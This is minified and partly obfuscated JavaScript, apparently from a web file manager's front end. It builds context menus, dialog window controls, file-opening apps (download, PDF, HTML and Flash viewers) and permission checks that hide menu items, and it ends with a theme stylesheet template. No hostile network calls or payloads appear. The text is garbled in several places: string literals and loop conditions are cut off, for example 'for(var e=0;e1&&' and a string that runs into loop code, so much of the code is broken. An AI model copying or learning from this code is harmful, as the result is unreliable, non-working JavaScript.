_0x5d7688=$(_0x1ed64f)[_kod_0x46d5('0x7c','w@%x')](),_0x53bb5a=_0x31f62f||d,_0x48f6a4=_0xbdb30f['$menu'][_kod_0x46d5('0x7d','J]Hl')](_0x53bb5a)[_kod_0x46d5('0x7e','6D#W')]();_0x326a5b[_kod_0x46d5('0x7f','8JG7')](0x0,_0x48f6a4[_kod_0x46d5('0x80','ZNFv')])&&_0xbdb30f[_kod_0x46d5('0x81',')b(p')][_0x53bb5a]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x82',')T(f')][_0x53bb5a][_kod_0x46d5('0x83','tepW')]),0x0==_0x48f6a4[_kod_0x46d5('0x84','zjue')]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x85',')Cl!')][_kod_0x46d5('0x86','Svi#')]()['last']()),_0x31f62f?_0x48f6a4['after'](_0x5d7688):d&&_0x48f6a4[_kod_0x46d5('0x87','(26G')](_0x5d7688);var _0x31ae2a=_0x5d7688[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))[_kod_0x46d5('0x8a',')b(p')](_kod_0x46d5('0x8b',')Zq2'));_0x5d7688[_kod_0x46d5('0x39','#I7Z')]({'contextMenu':_0x31ae2a,'contextMenuKey':_0x6929fc,'contextMenuRoot':e});var _0x4c794c={};_0x4c794c[_kod_0x46d5('0x8c','w@%x')]=null;_0x4c794c[_kod_0x46d5('0x8d','Svi#')]=null;_0x4c794c[_kod_0x46d5('0x8e',')Zq2')]=f.accesskey;_0x4c794c['className']=f.className;_0x4c794c[_kod_0x46d5('0x8f',')Cl!')]=f.icon;_0x4c794c[_kod_0x46d5('0x90','A[bK')]=f.name;_0x4c794c[_kod_0x46d5('0x91','ZNFv')]=_0x483f12;_0x4c794c[_kod_0x46d5('0x5a','coI9')]=_0x5d7688;if(_0x31ae2a&&(_0x31ae2a[_kod_0x46d5('0x55','Svi#')]||(_0x31ae2a[_kod_0x46d5('0x92','Tg#C')]={}),_0x31ae2a[_kod_0x46d5('0x93','h*gi')][_0x6929fc]=_0x4c794c),_0x326a5b['YraqM']!=typeof f&&(_0xbdb30f[_kod_0x46d5('0x94','KCJX')]||(_0xbdb30f[_kod_0x46d5('0x95','KaAL')]={}),_0xbdb30f['commands'][_0x6929fc]=_0x4c794c,e['commands'][_0x6929fc]=_0x4c794c,e[_kod_0x46d5('0x96','#bfE')][_0x6929fc]=function(_0x337020,_0x3bccb4){f[_kod_0x46d5('0x97','KaAL')](_0x337020,_0x3bccb4);},f[_kod_0x46d5('0x98','ZNFv')]&&(e[_kod_0x46d5('0x99','gz7W')][f[_kod_0x46d5('0x8e',')Zq2')]]=_0x4c794c),f['items'])){var _0x485b5f=_0x6929fc+'-first-item',_0x1ed64f=_0x326a5b['Cngaj']+_0x6929fc+_kod_0x46d5('0x9a','L)pg')+_0x485b5f+'\x22>\x09\x09\x09\x09\x09
        ';$(_0x1ed64f)['appendTo'](_0x5d7688),_0x4c794c['$menu']=_0x5d7688[_kod_0x46d5('0x3d','6D#W')](_0x326a5b['BfqaK'](_kod_0x46d5('0x9b',')Cl!'),_0x6929fc)),_0x4c794c[_kod_0x46d5('0x9c',']y0&')]=null,_0x4c794c[_kod_0x46d5('0x9d','A[bK')]=_0x4c794c[_kod_0x46d5('0x9e','(i@T')],_0x4c794c[_kod_0x46d5('0x9f','h*gi')]='sub',_0x5d7688[_kod_0x46d5('0xa0','L)pg')](_kod_0x46d5('0xa1','Svi#'),_0x4c794c)[_kod_0x46d5('0xa2','Tg#C')](_kod_0x46d5('0xa3','srTF')),_0x5d7688['find'](_0x326a5b[_kod_0x46d5('0xa4','&q8#')](_kod_0x46d5('0xa5','coI9'),_0x6929fc))[_kod_0x46d5('0x8a',')b(p')]({'contextMenuRoot':e,'contextMenu':_0x4c794c}),_0x5d7688['find']('li.'+_0x485b5f)['data']({'contextMenuRoot':e,'contextMenuKey':_0x485b5f,'contextMenu':_0x4c794c}),_0x4c794c[_kod_0x46d5('0xa6','a0nd')]||(_0x4c794c['items']={}),_0x4c794c[_kod_0x46d5('0x59','CpJI')][_0x485b5f]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x5d7688[_kod_0x46d5('0xa7','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xa8',')Cl!')],_0x485b5f))},i(_0x4c794c,f[_kod_0x46d5('0xa9','gz7W')],'.'+_0x485b5f);}}},$[_kod_0x46d5('0x8b',')Zq2')][_kod_0x46d5('0xaa','A[bK')]=function(_0x4f4d3b,_0x34c69d){$[_kod_0x46d5('0xab','Yv8t')][_kod_0x46d5('0xac','ZBag')](_0x4f4d3b,_0x34c69d,_kod_0x46d5('0xad','#I7Z'),!0x1);},$[_kod_0x46d5('0xae','L)pg')][_kod_0x46d5('0xaf','8JG7')]=function(_0x37f252,_0x3cf34c){$[_kod_0x46d5('0x34',')Cl!')]['menuItemClass'](_0x37f252,_0x3cf34c,_0x326a5b[_kod_0x46d5('0xb0','Ghlq')],!0x0);},$[_kod_0x46d5('0xb1','@*22')][_kod_0x46d5('0xb2','5$Bm')]=function(_0x5e37e5,_0x6637a8){if('wUupW'!==_0x326a5b[_kod_0x46d5('0xb3',')T(f')]){var _0x142712=_0x6637a8[_kod_0x46d5('0xb4','tepW')],_0x3b925e=_kod_0x46d5('0xb5',']y0&');_0x142712[_kod_0x46d5('0xb6','!BFl')](_kod_0x46d5('0xb7','W[*g'))[_kod_0x46d5('0xb8','tepW')](_0x3b925e),Hook[_kod_0x46d5('0xb9','tepW')](_0x326a5b[_kod_0x46d5('0xba','#bfE')],_0x6637a8[_kod_0x46d5('0xbb','@*22')],_0x5e37e5,_0x142712),Hook[_kod_0x46d5('0xbc','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xbd','FeGc')],_0x6637a8[_kod_0x46d5('0x4f','CpJI')]),_0x5e37e5,_0x142712);}else{$[_kod_0x46d5('0x34',')Cl!')][_kod_0x46d5('0xbe','OfMJ')](_0x5e37e5,_0x6637a8,_kod_0x46d5('0xbf','&Tiv'),!0x1);}},$['contextMenu']['menuItemRemove']=function(_0x4050d6,_0x4769bc){var _0x49c3dd=$[_kod_0x46d5('0xc0','o$)d')]['menuItem'](_0x4050d6,_0x4769bc);_0x49c3dd&&_0x49c3dd[_kod_0x46d5('0xc1','(i@T')]();},$[_kod_0x46d5('0xc2','(i@T')][_kod_0x46d5('0xc3','jcUX')]=function(_0x30fcdf,_0x4ec4c4,_0x2a10cb,_0x44a4a6){var _0xece64d=!0x1,_0x362bce=$['contextMenu'][_kod_0x46d5('0xc4','&q8#')];for(var _0x2b0111 in _0x362bce)if(_0x362bce[_0x2b0111][_kod_0x46d5('0xc5','#bfE')]==_0x4ec4c4){_0xece64d=_0x362bce[_0x2b0111];break;}if(_0xece64d&&_0x30fcdf){var _0x439d97=function(_0x3bff80){return _0x3bff80?-0x1!==_0x3bff80[_kod_0x46d5('0xc6','(i@T')]('/')?_kod_0x46d5('0xc7','J]Hl')+_0x3bff80+_kod_0x46d5('0xc8','tepW'):_0x326a5b[_kod_0x46d5('0xc9','!BFl')](_kod_0x46d5('0xca','Tg#C')+_0x3bff80,_0x326a5b[_kod_0x46d5('0xcb','L)pg')]):'';},_0x1ea789=function(_0x592497,_0x241dd9,_0x4792f6,_0x5ade5d){var _0x48d85e={};_0x48d85e[_kod_0x46d5('0xcc','FeGc')]=function(_0x25c209,_0x74859d){return _0x25c209+_0x74859d;};_0x48d85e[_kod_0x46d5('0xcd','@*22')]=function(_0x5afc13,_0x29a1aa){return _0x326a5b.vHrHH(_0x5afc13,_0x29a1aa);};_0x48d85e[_kod_0x46d5('0xce',')Zq2')]='\x20context-menu-separator\x20not-selectable\x22>';_0x48d85e['gbnoM']=_kod_0x46d5('0xcf','@*22');_0x48d85e[_kod_0x46d5('0xd0','CpJI')]=function(_0x4a0c53,_0x3fb2b0){return _0x4a0c53+_0x3fb2b0;};_0x48d85e[_kod_0x46d5('0xd1','8JG7')]=_0x326a5b.Cngaj;_0x48d85e[_kod_0x46d5('0xd2','tepW')]='\x22>\x09\x09\x09\x09\x09\x09=0x0;_0x1a2790--)_0x2b0111[_0x362bce[_0x1a2790][_kod_0x46d5('0xd7','J]Hl')]]=_0x362bce[_0x1a2790][_kod_0x46d5('0xd8','coI9')];}else _0x2b0111=_0x241dd9;$[_kod_0x46d5('0xd9','(i@T')](_0x2b0111,function(_0x464188,_0x539b1c){_0x539b1c[_kod_0x46d5('0xda',']y0&')]=_0x539b1c[_kod_0x46d5('0xdb','&Tiv')]||'';var _0x2b0111=_0x48d85e['aSDHh'](_0x48d85e[_kod_0x46d5('0xdc','(i@T')](_0x464188,'\x20'),_0x539b1c[_kod_0x46d5('0xdd','Tg#C')]);if(_0x48d85e[_kod_0x46d5('0xde','(i@T')]('string',typeof _0x539b1c))var _0x336e55=_kod_0x46d5('0xdf','Svi#')+_0x2b0111+_0x48d85e[_kod_0x46d5('0xe0','(26G')];else{var _0x1a2790=_0x539b1c[_kod_0x46d5('0xe1','8JG7')];_0x539b1c['accesskey']&&(_0x1a2790+=_kod_0x46d5('0xe2','E[tg')+_0x539b1c[_kod_0x46d5('0xe3','6D#W')]+')');var _0x336e55=_kod_0x46d5('0xe4','a0nd')+_0x2b0111+'\x22>'+_0x439d97(_0x539b1c[_kod_0x46d5('0x7b','a0nd')])+_kod_0x46d5('0xe5',')Cl!')+_0x1a2790+_kod_0x46d5('0xe6','srTF');}var _0x222928=$(_0x336e55)['clone'](),_0x1b2400=_0x4792f6||_0x5ade5d,_0x1bc473=_0x592497['$menu']['find'](_0x1b2400)['first']();_0x48d85e[_kod_0x46d5('0xe7','KaAL')](0x0,_0x1bc473[_kod_0x46d5('0x5b','$zeB')])&&_0x592497['commands'][_0x1b2400]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xe8','Tg#C')][_0x1b2400]['$node']),0x0==_0x1bc473[_kod_0x46d5('0xe9','TbL]')]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xea','Ghlq')][_kod_0x46d5('0xeb','ZNFv')]()[_kod_0x46d5('0xec','a0nd')]()),_0x4792f6?_0x1bc473[_kod_0x46d5('0xed','ZBag')](_0x222928):_0x5ade5d&&_0x1bc473['before'](_0x222928);var _0x399c49=_0x222928[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))['data'](_kod_0x46d5('0x5d','ZNFv'));_0x222928[_kod_0x46d5('0xee','TbL]')]({'contextMenu':_0x399c49,'contextMenuKey':_0x464188,'contextMenuRoot':_0xece64d});var _0x41d3fd={};_0x41d3fd[_kod_0x46d5('0xef','&Tiv')]=null;_0x41d3fd[_kod_0x46d5('0xf0','A[bK')]=null;_0x41d3fd[_kod_0x46d5('0xf1','#bfE')]=_0x539b1c.accesskey;_0x41d3fd['className']=_0x539b1c.className;_0x41d3fd[_kod_0x46d5('0xf2','tepW')]=_0x539b1c.icon;_0x41d3fd['name']=_0x539b1c.name;_0x41d3fd['_name']=_0x1a2790;_0x41d3fd[_kod_0x46d5('0xf3','6D#W')]=_0x222928;if(_0x399c49&&(_0x399c49[_kod_0x46d5('0xf4','ZBag')]||(_0x399c49['items']={}),_0x399c49[_kod_0x46d5('0xa9','gz7W')][_0x464188]=_0x41d3fd),_0x48d85e[_kod_0x46d5('0xf5','a0nd')]!=typeof _0x539b1c&&(_0x592497['commands']||(_0x592497['commands']={}),_0x592497[_kod_0x46d5('0x82',')T(f')][_0x464188]=_0x41d3fd,_0xece64d['commands'][_0x464188]=_0x41d3fd,_0xece64d[_kod_0x46d5('0xf6','&Tiv')][_0x464188]=function(_0x25c351,_0x18cd3a){_0x539b1c[_kod_0x46d5('0xf7','$zeB')](_0x25c351,_0x18cd3a);},_0x539b1c['accesskey']&&(_0xece64d['accesskeys'][_0x539b1c[_kod_0x46d5('0xf8','Tg#C')]]=_0x41d3fd),_0x539b1c['items'])){var _0x25eddc=_0x48d85e[_kod_0x46d5('0xf9','6D#W')](_0x464188,'-first-item'),_0x336e55=_0x48d85e[_kod_0x46d5('0xfa','Yv8t')](_0x48d85e[_kod_0x46d5('0xfb','ZNFv')],_0x464188)+_0x48d85e[_kod_0x46d5('0xfc','a0nd')]+_0x25eddc+'\x22>\x09\x09\x09\x09\x09';$(_0x336e55)[_kod_0x46d5('0xfd','@*22')](_0x222928),_0x41d3fd[_kod_0x46d5('0xfe','h*gi')]=_0x222928['find'](_0x48d85e[_kod_0x46d5('0xff','@*22')](_kod_0x46d5('0x100','KCJX'),_0x464188)),_0x41d3fd['callback']=null,_0x41d3fd[_kod_0x46d5('0x101',')Zq2')]=_0x41d3fd['$node'],_0x41d3fd[_kod_0x46d5('0x102','FeGc')]='sub',_0x222928[_kod_0x46d5('0x103',']y0&')](_kod_0x46d5('0x104','W[*g'),_0x41d3fd)[_kod_0x46d5('0x105','@*22')]('context-menu-submenu'),_0x222928[_kod_0x46d5('0x106','L)pg')](_kod_0x46d5('0x107','amMN')+_0x464188)[_kod_0x46d5('0x108','&Tiv')]({'contextMenuRoot':_0xece64d,'contextMenu':_0x41d3fd}),_0x222928[_kod_0x46d5('0x109','ZNFv')](_0x48d85e[_kod_0x46d5('0x10a','FeGc')]+_0x25eddc)['data']({'contextMenuRoot':_0xece64d,'contextMenuKey':_0x25eddc,'contextMenu':_0x41d3fd}),_0x41d3fd[_kod_0x46d5('0x59','CpJI')]||(_0x41d3fd['items']={}),_0x41d3fd[_kod_0x46d5('0x10b',')b(p')][_0x25eddc]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x222928[_kod_0x46d5('0x10c',')b(p')](_0x48d85e[_kod_0x46d5('0x10d','#I7Z')](_kod_0x46d5('0x10e','TbL]'),_0x25eddc))},_0x1ea789(_0x41d3fd,_0x539b1c[_kod_0x46d5('0x10f',')Cl!')],_0x48d85e[_kod_0x46d5('0x110','6D#W')]('.',_0x25eddc));}});};_0x326a5b[_kod_0x46d5('0x111','@*22')](_0x1ea789,_0xece64d,_0x30fcdf,_0x2a10cb,_0x44a4a6);}};var _0x31f62f=function(){var _0x4feb74={};_0x4feb74[_kod_0x46d5('0x112','Ghlq')]=_0x326a5b.kOkyr;_0x4feb74['KeOgZ']=_kod_0x46d5('0x113','&q8#');_0x4feb74[_kod_0x46d5('0x114','(26G')]=_0x326a5b.CavDC;_0x4feb74[_kod_0x46d5('0x115','&Tiv')]=function(_0x167fc8,_0x4fc08f){return _0x167fc8+_0x4fc08f;};_0x4feb74['UKIdZ']=_kod_0x46d5('0x116','(i@T');_0x4feb74['kiRXb']=_0x326a5b.IXDxR;_0x4feb74['DSREq']=_0x326a5b.mIDCD;return $(_kod_0x46d5('0x117','o$)d'))['appendTo'](_kod_0x46d5('0x118','W[*g')),_kod_0x46d5('0x119','A[bK')!=typeof $[_kod_0x46d5('0x104','W[*g')]?console[_kod_0x46d5('0x11a','TbL]')](_kod_0x46d5('0x11b',')b(p')):($['contextMenu']({'zIndex':0x270f,'selector':_0x326a5b[_kod_0x46d5('0x11c','(26G')],'items':{'dialog-quit':{'name':LNG[_kod_0x46d5('0x11d',')T(f')],'className':_kod_0x46d5('0x11e','TbL]'),'icon':_0x326a5b['CDuvI'],'accesskey':'q'},'dialog-max':{'name':LNG['dialog_max'],'className':_kod_0x46d5('0x11f','srTF'),'icon':'resize-full','accesskey':'a'},'dialog-min':{'name':LNG[_kod_0x46d5('0x120','$zeB')],'className':_kod_0x46d5('0x121','ZBag'),'icon':_kod_0x46d5('0x122','tepW'),'accesskey':'i'},'sep1':_0x326a5b[_kod_0x46d5('0x123','gz7W')],'refresh':{'name':LNG['refresh'],'className':_0x326a5b[_kod_0x46d5('0x124','Svi#')],'icon':_kod_0x46d5('0x125','KCJX'),'accesskey':'r'},'open-window':{'name':LNG['open_ie'],'className':'open-window','icon':_kod_0x46d5('0x126','E9Jc'),'accesskey':'b'},'qrcode':{'name':LNG['qrcode'],'className':_0x326a5b[_kod_0x46d5('0x127','5$Bm')],'icon':_kod_0x46d5('0x128','A[bK'),'accesskey':'c'}},'callback':function(_0x2f5e05,_0xfc62a6){if(_kod_0x46d5('0x129','Ghlq')==='LTSHb'){var _0x31f62f=_0xfc62a6[_kod_0x46d5('0x12a',']y0&')]['attr']('id'),_0x2476f3=$[_kod_0x46d5('0x12b','h*gi')][_kod_0x46d5('0x12c',')Zq2')][_0x31f62f];switch(_0x2f5e05){case _0x4feb74[_kod_0x46d5('0x12d','&Tiv')]:_0x2476f3['close']();break;case _0x4feb74['DSREq']:_0x2476f3['_clickMin'](!0x1);break;case _kod_0x46d5('0x12e','Ghlq'):_0x2476f3[_kod_0x46d5('0x12f','tepW')]();break;case _kod_0x46d5('0x130','Svi#'):_0x2476f3[_kod_0x46d5('0x131','J]Hl')]();break;case _kod_0x46d5('0x132','gz7W'):_0x2476f3[_kod_0x46d5('0x133','srTF')]();break;case'qrcode':core['qrcode'](_0x2476f3['DOM'][_kod_0x46d5('0x134','ZNFv')]['find']('iframe')['attr'](_kod_0x46d5('0x135','gz7W')));}}else{var _0x56b869=_0x2f5e05[_kod_0x46d5('0x136','W[*g')]('id'),_0x5b4c4c=$[_kod_0x46d5('0x137','$zeB')][_kod_0x46d5('0x138','TbL]')][_0x56b869],_0x38f4e8=_0x4feb74['FMghZ'],_0x39a019=_0x4feb74[_kod_0x46d5('0x139','o$)d')];_0x5b4c4c['hasFrame']()?_0xfc62a6[_kod_0x46d5('0x13a',')Zq2')](_0x39a019)[_kod_0x46d5('0x13b',')b(p')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x13c','@*22')](_0x39a019)[_kod_0x46d5('0x13d',')b(p')](_0x38f4e8);var _0x3bf925=_0x4feb74[_kod_0x46d5('0x13e','W[*g')];$(_0x4feb74[_kod_0x46d5('0x13f','Tg#C')]('.',_0x56b869))[_kod_0x46d5('0x140','jcUX')](_0x4feb74[_kod_0x46d5('0x141','Svi#')])?_0xfc62a6['find'](_0x3bf925)[_kod_0x46d5('0x142',']y0&')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x143','TbL]')](_0x3bf925)['addClass'](_0x38f4e8);}}}),void $(_0x326a5b['TMUVT'])['die'](_kod_0x46d5('0x144','Ghlq'))[_kod_0x46d5('0x145','x*z*')](_0x326a5b[_kod_0x46d5('0x146','L)pg')],function(_0x1cd133){var _0xc14c8e=$(this)[_kod_0x46d5('0x147',')Zq2')]();_0xc14c8e[_kod_0x46d5('0x148','(26G')]+=_0x326a5b[_kod_0x46d5('0x149','&q8#')]($,this)[_kod_0x46d5('0x14a','h*gi')](),_0x326a5b[_kod_0x46d5('0x14b','E9Jc')]($,this)[_kod_0x46d5('0x14c','tepW')]()[_kod_0x46d5('0x14d','!BFl')]()[_kod_0x46d5('0x14e','FeGc')]({'x':_0x1cd133['pageX'],'y':_0xc14c8e[_kod_0x46d5('0x14f','Yv8t')]});})[_kod_0x46d5('0x150','jcUX')]('dblclick')['live']('dblclick',function(_0x10b44d){var _0xc14c8e=_0x326a5b['hHlrD']($,this)[_kod_0x46d5('0x151','ZNFv')]()[_kod_0x46d5('0x152','x*z*')]()[_kod_0x46d5('0x153','CpJI')]('id'),_0x31f62f=$[_kod_0x46d5('0x154','Yv8t')][_kod_0x46d5('0x138','TbL]')][_0xc14c8e];_0x31f62f[_kod_0x46d5('0x155','tepW')](),$[_kod_0x46d5('0x156','5$Bm')]['hidden']();}));};Hook['bind'](_kod_0x46d5('0x157','@*22'),function(_0x3dd82b,_0x19fcec){var _0x31f62f=_0x3dd82b[_kod_0x46d5('0x158','ZNFv')]('id'),_0x256330=$[_kod_0x46d5('0x159',')T(f')]['list'][_0x31f62f],_0x4e167c=_kod_0x46d5('0x15a','KaAL'),_0x344f7c=_kod_0x46d5('0x15b',']y0&');_0x256330[_kod_0x46d5('0x15c','!BFl')]()?_0x19fcec[_kod_0x46d5('0x15d','5$Bm')](_0x344f7c)['removeClass'](_0x4e167c):_0x19fcec['find'](_0x344f7c)[_kod_0x46d5('0x15e',')Zq2')](_0x4e167c);var _0x41030f='.dialog-min,.dialog-max';$('.'+_0x31f62f)[_kod_0x46d5('0x15f','!BFl')](_0x326a5b[_kod_0x46d5('0x160',')T(f')])?_0x19fcec[_kod_0x46d5('0x161','coI9')](_0x41030f)[_kod_0x46d5('0x162','oApp')](_0x4e167c):_0x19fcec['find'](_0x41030f)['addClass'](_0x4e167c);}),_0x31f62f();});;define("app/app/appBase",[],function(a,b){var c={},d={},e={},f=!1,g=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),c[a.name]=a,a.ext||(a.ext="");var b=a.ext.split(",");c[a.name].extArr=b,"undefined"!=typeof a.sort?a.sort=parseInt(a.sort):a.sort=0;for(var e=0;e1&&d[f].sort(function(a,b){return a.sort
        '+LNG.unknow_file_tips+"
        "+b+'
        1.'+h+d+'">'+LNG["Explorer.UI.openWith"]+'
        2.'+h+e+'">'+LNG["Explorer.UI.openWithText"]+'
        3.'+h+f+'">'+LNG.unknow_file_download+'
        '+h+g+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
        ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:i,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(a){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(a)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=a;"http"!=a.substr(0,4)&&(d=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(a),"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(d):$('').appendTo("body")}}}),kodApp.download=function(a){kodApp.open(a,"","download")},kodApp.openWindow=function(a){kodApp.open(a,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=core.path2url(a);isWap()?window.location.href=d:window.open(d)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(a,b){$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(a))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(a,b){core.fileGet(a,function(c){if("url"==b){var d=c.match(/URL=(.*)/);if(d.length>=2)return window.open(d[1])}else if("webloc"==b)try{var e=$($.parseXML(c)),f=e.find("string").text();return void window.open(f)}catch(g){}kodApp.open(a,b,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(a,b){var c=core.path2url(a);core.openDialog(c,core.icon("html"),core.pathThis(a))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(a,b){var c=core.path2url(a),d="pdf"+UUID(),e='";$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"80%",height:"75%",padding:0,content:e}),PDFObject.embed(c,"#"+d)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),core.openApp(c)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),c.path=a,ui.path.pathOperate.appEdit(c)})}});var d={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(a,b){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(d,".menu-body-main",".app-install"),$.contextMenu.menuAdd(d,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(d,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(a,b,c){var d=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(c.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),c.removeClass("menu-auto-fit"),h(b),c.inScreen()||c.addClass("menu-auto-fit"),".menu-body-main"==a){var e=c.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?e.removeClass("hidden"):e.addClass("hidden")}if(_.include(d,a)){var f="disabled",g=".cute,.rname,.remove",i=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";b.hasClass("file-not-readable")?c.find(i).addClass(f):c.find(i).removeClass(f),b.hasClass("file-not-writeable")?c.find(g).addClass(f):c.find(g).removeClass(f)}}),Hook.bind("rightMenu.show.menu-body-main",function(a,b){var c=".upload,.past,.newfolder,.newfile",d="disabled";_.get(G,"jsonData.info.canUpload")?b.find(c).removeClass(d):b.find(c).addClass(d)}),Hook.bind("rightMenu.show.menu-file",function(a,b){if($(".context-menu-active").hasClass("menu-tree-file"))var c=ui.tree.makeParam();else var c=ui.path.makeParam();var d=core.pathExt(c.path),e="hidden";inArray(["jpg","jpeg","png"],d)?b.find(".set-background").removeClass(e):b.find(".set-background").addClass(e)});var e=function(){var a=".close-item,.refresh,.newfile,.past,.info",b=".open-browser",c=".explorer,.create-project,.open-project",d=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",e=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",f=$(".menu-tool-path"),g="hidden",h=ui.fileLight.fileListSelect();f.find(".context-menu-item").addClass(g),0==h.length?f.find(a).removeClass(g):1==h.length?(f.find(".context-menu-item").removeClass(g),"folder"==ui.fileLight.type(h)?f.find(b).addClass(g):f.find(c).addClass(g)):h.length>1&&f.find(d).removeClass(g),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&f.find(e).filter(":not(."+g+")").addClass(g)},f=function(){var a=ui.fileLight.fileListSelect(),b=$(".kod-toolbar-path .select-button-show"),c="hidden";G.jsonData&&G.jsonData.info&&(0==a.length||G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id!=G.userID?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=share]").removeClass(c),b.find("[data-action=rname]").removeClass(c),a.length>1&&(b.find("[data-action=share]").addClass(c),b.find("[data-action=rname]").addClass(c))))},g=function(){var a=_.get(G,"jsonData.info.pathType"),b=$(".kod-toolbar-share .select-button-show-share"),c=ui.fileLight.fileListSelect(),d="hidden";a!=G.KOD_USER_SHARE||0==c.length?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=shareEdit]").removeClass(d),b.find("[data-action=shareOpenWindow]").removeClass(d),c.length>1&&(b.find("[data-action=shareEdit]").addClass(d),b.find("[data-action=shareOpenWindow]").addClass(d)))};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){e(),f(),g(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){e()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var a="hidden",b={"explorer.fileDownload":"@.down,@.download,@.share,@.open-text,[data-action=download]","explorer.search":"@.search","explorer.mkfile":"@.newfile,[data-action=newfile],@.past,@.clone","explorer.mkdir":"@.newfolder,[data-action=newfolder]","explorer.pathRname":"@.rname,[data-action=rname]","explorer.pathDelete":"@.remove,@.remove + .context-menu-separator,[data-action=remove]","explorer.pathCopy":"@.cute,@.copy,[data-action=cute],[data-action=copy]","explorer.fileUpload":"@.upload,@.upload-more,[data-action=upload],[data-action=upload-more]","explorer.unzip":"@.unzip","explorer.zip":"@.zip","userShare.set":"@.share,[data-action=share]"};setTimeout(function(){for(var c in b){var d=replaceAll(b[c],"@",".context-menu-list ");core.authCheck(c)||$(d).addClass(a)}},100),core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),kodApp.remove("htmlView"))}}),Hook.bind("kodApp.callback.before",function(a,b,c){return-1==$.inArray(a.name,["browserOpen","htmlView","zipView"])||core.authCheckGroup("explorer.fileDownload",b)?void 0:(Tips.tips(LNG.no_permission_action,"error"),!0)});var h=function(a){return},i=function(){if(G.authGroupRole||(G.authGroupRole={}),_.get(G,"jsonData.info.pathType")==G.KOD_GROUP_PATH){var a=_.get(G,"jsonData.info.id");G.authGroupRole[a]=_.get(G,"jsonData.info.groupRole.authArr")}h()};Hook.bind("explorer.path.ajaxLive",i)});;define("app/common/tpl/copyright.html",[],'\n');;define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n 